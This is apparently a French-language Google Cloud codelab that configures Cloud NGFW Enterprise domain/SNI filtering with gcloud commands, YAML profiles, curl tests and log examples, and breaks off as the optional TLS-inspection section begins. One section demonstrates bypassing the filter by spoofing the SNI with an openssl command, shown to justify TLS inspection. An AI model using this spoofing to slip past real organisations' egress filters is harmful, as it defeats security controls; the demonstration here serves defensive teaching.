Atelier de programmation sur le filtrage de domaine/SNI Cloud NGFW Enterprise [Inspection TLS facultative]

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

  • Service de pare-feu distribué : Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
  • Configuration et déploiement simplifiés : Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
  • Contrôle précis et microsegmentation : la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.

Cloud NGFW est disponible dans les niveaux suivants :

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Les objets de nom de domaine complet Cloud NGFW Standard peuvent traduire les noms de domaine complets en adresses IP, puis appliquer la règle à la liste d'adresses IP. Toutefois, Cloud NGFW Enterprise avec filtrage de domaine peut aller plus loin dans l'inspection.

Cloud NGFW Enterprise

Cloud NGFW Enterprise propose actuellement un service de prévention des intrusions (IPS, Intrusion Prevention Service), une fonctionnalité de couche 7, à la structure distribuée Google Cloud Firewall.

Cloud NGFW Enterprise propose désormais le filtrage de domaine, qui permet de contrôler le trafic http(s) à l'aide de noms de domaine au lieu d'adresses IP.

Pour le filtrage du trafic HTTPS par domaine/SNI, le Client Hello est une extension qui contient l'indication du nom du serveur (SNI) dans le cadre du handshake TLS. L'indication du nom du serveur (SNI) est une extension du protocole TLS qui envoie le nom d'hôte qu'un client tente d'atteindre. C'est par rapport à cette valeur que le filtrage sera validé.

Avec le trafic HTTP, il n'y a pas de SNI. Seul le champ d'en-tête d'hôte HTTP sera utilisé pour appliquer le filtrage.

Le filtrage de domaine est configuré avec un UrlFilteringProfile, qui est un nouveau type de profil de sécurité. UrlFilteringProfile contient une liste de UrlFilters, qui contiennent chacun une action, une liste de chaînes de correspondance et une priorité unique. Cette configuration utilise "Url" pour la dénomination au lieu de "Domain" afin de faciliter la transition vers le filtrage complet des URL lorsqu'il sera disponible, au lieu de créer un nouveau type de profil de sécurité à l'avenir.

Les UrlFilteringProfiles incluent un UrlFilter implicite de priorité la plus faible (2147483647) qui refuse toutes les connexions ne correspondant pas à un UrlFilter de priorité plus élevée.

Objectifs de l'atelier

Cet atelier de programmation nécessite un seul projet et la possibilité de créer un réseau VPC, ainsi que de gérer un certain nombre de ressources réseau et de sécurité. Il vous montrera comment Cloud NGFW Enterprise peut filtrer les domaines et le SNI, avec des instructions facultatives pour l'inspection TLS.

Nous allons tester plusieurs scénarios de règles d'autorisation et de refus, y compris l'utilisation de caractères génériques.

4a779fae790d117.png

L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera au tableau ci-dessous :

Priorité

Sens

Cible

Source

Destination

Action

Type

200

Entrée

TOUT

IAP

Tous

Autoriser

Essentials

300

Sortie

TOUT

Tous

0.0.0.0/0:80,443

Inspection L7

Enterprise

Points abordés

  • Découvrez comment créer une stratégie de pare-feu réseau.
  • Découvrez comment configurer et utiliser le filtrage de domaine/SNI Cloud NGFW Enterprise.
  • Comment configurer la protection contre les menaces en plus du filtrage de domaine/SNI.
  • Comment examiner les journaux
  • [Facultatif] Comment activer l'inspection TLS

Prérequis

  • Projet Google Cloud.
  • Connaissances en matière de déploiement d'instances et de configuration de composants réseau.
  • Connaissances sur la configuration du pare-feu de la stratégie réseau.

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets selon vos besoins :

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. Activer les API

Si vous ne l'avez pas déjà fait, activez les API :

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création de points de terminaison Cloud NGFW Enterprise

La création du point de terminaison Cloud NGFW Enterprise prenant environ 20 minutes, il sera créé en premier. La configuration de base peut être effectuée en parallèle pendant la création du point de terminaison.

Le filtrage des domaines/SNI nécessitera un point de terminaison de pare-feu, même si vous n'avez pas l'intention d'utiliser des profils de prévention des menaces.

Créez le profil de sécurité et le groupe de profils de sécurité :

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

La création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Réseau et sous-réseau VPC

Réseau et sous-réseau VPC

Créez le réseau et le sous-réseau VPC :

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez l'adresse IP externe, le routeur Cloud Router et la passerelle Cloud NAT :

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Création d'une instance

Créez l'instance cliente :

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Stratégie de pare-feu de réseau au niveau mondial

Créez une stratégie de pare-feu de réseau au niveau mondial :

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Créez les règles Cloud Firewall Essentials requises pour autoriser le trafic provenant des plages Identity-Aware Proxy :

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Associez la stratégie de pare-feu cloud au réseau VPC :

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Créer des configurations de filtrage de domaine/SNI pour l'autorisation

Nous allons ensuite configurer les domaines à autoriser et à refuser. Dans Cloud Shell, créez le fichier YAML :

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

Créez un profil de sécurité en important la configuration YAML :

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Résultat attendu :

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Créez un groupe de profils de sécurité :

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

Vérifiez que le groupe de profils de sécurité contient le profil de sécurité :

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Résultat attendu :

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Association de point de terminaison de pare-feu cloud

Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou si vous préférez l'approche par script.

Vérifiez que le point de terminaison Cloud Firewall a bien été créé. Ne passez à l'étape suivante que lorsque l'état est ACTIF (l'état attendu lors de la création est EN COURS DE CRÉATION) :

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Associez le point de terminaison Cloud Firewall au réseau VPC :

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

L'association prend environ 10 minutes. Ne passez à la section suivante que lorsque l'état est ACTIF (pendant la création, l'état attendu est CRÉATION EN COURS) :

gcloud network-security firewall-endpoint-associations list

Résultat attendu lorsque complete est défini sur "true" :

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Créer des règles de pare-feu pour le filtrage de domaine/SNI

Google dispose de règles de pare-feu implicites d'autorisation du trafic sortant. Si nous souhaitons appliquer un filtrage de domaine/SNI, nous devons définir explicitement une règle. La règle suivante enverra le trafic sortant vers les ports de destination 80 et 443 pour inspection par notre profil de sécurité.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. Valider les règles d'autorisation

Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples de requêtes à la destination autorisée :

curl https://www.example.com --max-time 2

Notez que cette requête a abouti grâce à la règle de pare-feu "allow" (autoriser).

Essayons avec quelques domaines qui ne figurent pas dans la liste.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Résultat attendu :

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

Pourquoi "example.com " n'a-t-il pas fonctionné ? En effet, la configuration du profil de sécurité contenait explicitement "www.example.com". Si vous souhaitez autoriser tous les sous-domaines d'example.com, vous pouvez utiliser un caractère générique.

Les autres demandes ont également échoué. Cela est dû au fait que le groupe de profils de sécurité comporte un refus par défaut avec la priorité la plus basse et que seul www.example.com est autorisé.

Quittez la VM pour revenir à Cloud Shell.

exit

10. Mettre à jour la configuration du filtrage de domaine/SNI pour le caractère générique

Examinons le fichier YAML et apportons-y quelques modifications supplémentaires pour présenter d'autres fonctionnalités, y compris la prise en charge des caractères génériques. Nous allons créer une règle autorisant "*.com", ce qui équivaut à tout domaine se terminant par ".com". Remarque : Cela remplacera complètement le contenu du fichier YAML d'origine créé dans la section précédente.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validez la configuration du profil de sécurité :

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Résultat attendu :

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Valider la règle de caractère générique

Vérifions si la règle générique fonctionne. Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples de requêtes aux destinations autorisées :

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Toutes ces demandes auraient dû aboutir. N'hésitez pas à essayer un autre domaine .com valide. Si l'opération échoue toujours, assurez-vous d'avoir patienté au moins 10 minutes, puis réessayez.

Nous pouvons même essayer plusieurs sous-domaines de ".com", et tous devraient fonctionner.

curl https://mail.google.com --max-time 2

Quittez la VM pour revenir à Cloud Shell.

exit

12. Mettre à jour la configuration du filtrage de domaine/SNI pour le refus

Nous avons montré qu'il existe une règle DENY implicite pour * à la fin du profil de sécurité et créé des domaines "autorisés" en utilisant filteringAction comme "ALLOW". Voyons comment utiliser filteringAction avec la valeur "DENY". Les actions DENY peuvent être utiles lorsqu'elles précèdent une action ALLOW explicite. Voici un exemple.

Nous allons mettre à jour notre fichier yaml existant pour autoriser *.com, mais refuser spécifiquement certains domaines .com.

Nous allons modifier le fichier YAML pour REFUSER *.github.com et *.google.com tout en autorisant explicitement tous les autres *.com et en conservant le refus implicite par défaut. Notez que la priorité des exceptions doit avoir un nombre de priorité inférieur : (1 000 vs 2 000) et (1 500 vs 2 000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validez la configuration du profil de sécurité :

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Valider les règles de refus

Vérifions si les règles DENY fonctionnent. Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples de requêtes aux destinations refusées :

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Ces deux demandes auraient dû échouer, car elles correspondaient à la règle "DENY" (REFUSER).

Envoyez des requêtes supplémentaires :

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Pourquoi ces méthodes ont-elles fonctionné ? Ces règles ont fonctionné, car les règles DENY concernaient ".github.com" et ".google.com". Les requêtes adressées à github.com et google.com n'incluent pas ce caractère générique, car il fait référence aux sous-domaines de github.com et google.com.

Les autres requêtes adressées aux domaines .com devraient aboutir, avec un refus par défaut pour les autres domaines. (.org, .net, .me, etc.)

Quittez la VM pour revenir à Cloud Shell.

exit

14. Mettre à jour la configuration du filtrage de domaine/SNI pour l'autorisation par défaut

Et si vous souhaitiez avoir un comportement d'AUTORISATION par défaut avec des règles de REFUS explicites ? Nous allons mettre à jour le fichier YAML pour illustrer ce comportement. Nous allons configurer des règles DENY pour tous les domaines .com ou .net et autoriser tous les autres.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validez la configuration du profil de sécurité :

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Résultat attendu :

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

Notez que le refus implicite pour * existe toujours. Cette règle devient inutile, car nous avons configuré une règle par défaut de priorité plus élevée (valeur inférieure) dont le paramètre "filteringAction" est défini sur "ALLOW" (AUTORISER).

(2 000 000 000 contre 2 147 483 647)

15. Valider les règles de refus avec l'autorisation par défaut

Vérifions si les règles REFUSER fonctionnent avec la règle AUTORISER par défaut. Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples de requêtes aux destinations refusées :

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Ces deux demandes auraient dû échouer, car elles correspondaient à la règle "DENY" (REFUSER). Toute requête .com ou .net doit échouer.

Envoyez des requêtes qui devraient aboutir (n'importe quel autre domaine de premier niveau) :

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Ces requêtes devraient aboutir, car elles correspondent à la règle d'autorisation "par défaut" de priorité 2000000000.

16. Explorer les journaux pour le filtrage de domaine/SNI

Voyons comment vérifier si le trafic est inspecté par la règle de pare-feu pour le filtrage de domaine/SNI.

Dans la console Google Cloud, accédez à l'explorateur de journaux et saisissez le filtre suivant :

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

Le filtre ci-dessus examine la stratégie de pare-feu que nous avons créée et nommée $prefix-fwpolicy, ainsi que la priorité de règle 300, qui est associée au groupe de profils de sécurité avec la configuration de filtrage de domaine/SNI.

91854cacaec44798.png

Comme vous pouvez le voir, la "disposition" indique "INTERCEPTED" (INTERCEPTÉ), ce qui signifie que le trafic a été intercepté et envoyé à notre moteur de pare-feu pour traitement.

Pour afficher les journaux de filtrage de domaine/SNI, vous pouvez saisir le filtre suivant dans l'explorateur de journaux (vous devez remplacer $project_id par la valeur de votre project_id) :

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Si nous développons certains détails, nous pouvons voir les informations suivantes dans un exemple (anonymisé) :

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

L'exemple de journal ci-dessus montre une requête adressée à wikipedia.org qui a été AUTORISÉE, car elle correspondait à la règle de priorité 2000000000 qui était "*" avec l'action de filtre ALLOW. D'autres détails sont disponibles, y compris le SNI.

Voici un exemple de journal DENY :

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Comme nous pouvons le voir ci-dessus, il s'agit d'une requête enregistrée lorsqu'une requête a été refusée. La demande concernait www.php.net, qui correspondait à la règle 1500 du profil de sécurité. De même, il a été comparé au SNI pour prendre la décision.

17. Valider les règles en cas d'usurpation SNI

Comme indiqué dans l'introduction, NGFW Enterprise peut examiner l'en-tête d'hôte HTTP pour le trafic HTTP ou le SNI pour le trafic chiffré TLS. Il est possible pour des personnes de falsifier le SNI. Que se passe-t-il si c'est le cas ?

Validons le comportement. Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez la commande openssl suivante pour usurper le SNI :

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Dans l'exemple ci-dessus, les requêtes adressées aux domaines .com et .net devraient être bloquées, tandis que les autres TLD devraient être autorisés. Vous trouverez ci-dessous un exemple de réponse usurpée. La requête est envoyée à www.google.com, qui devrait être bloqué. Toutefois, au lieu d'envoyer un SNI de www.google.com, nous spécifions un SNI de ifconfig.me. Comme la règle vérifie le SNI, elle considère ce domaine comme "autorisé" et le laisse passer. Nous avons réussi à établir une connexion TLS à google.com.

.

Résultat attendu :

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

C'est là que l'inspection TLS peut combler cette lacune.

Fermez la connexion et quittez la VM :

"ctrl" + c
exit

18. [Facultatif] Inspection TLS

Configurer les ressources TLS

Cette section est facultative, car le filtrage de domaine/SNI fonctionne sans inspection TLS. Toutefois, vous pouvez souhaiter effectuer une inspection TLS si vous prévoyez d'utiliser la protection contre les menaces ou, à l'avenir, lorsque le filtrage complet des URL sera disponible, de pouvoir créer des règles basées sur des chemins d'accès dans le profil de sécurité.

De plus, l'inspection TLS fournit une couche de vérification supplémentaire, car l'usurpation d'identité SNI est possible.
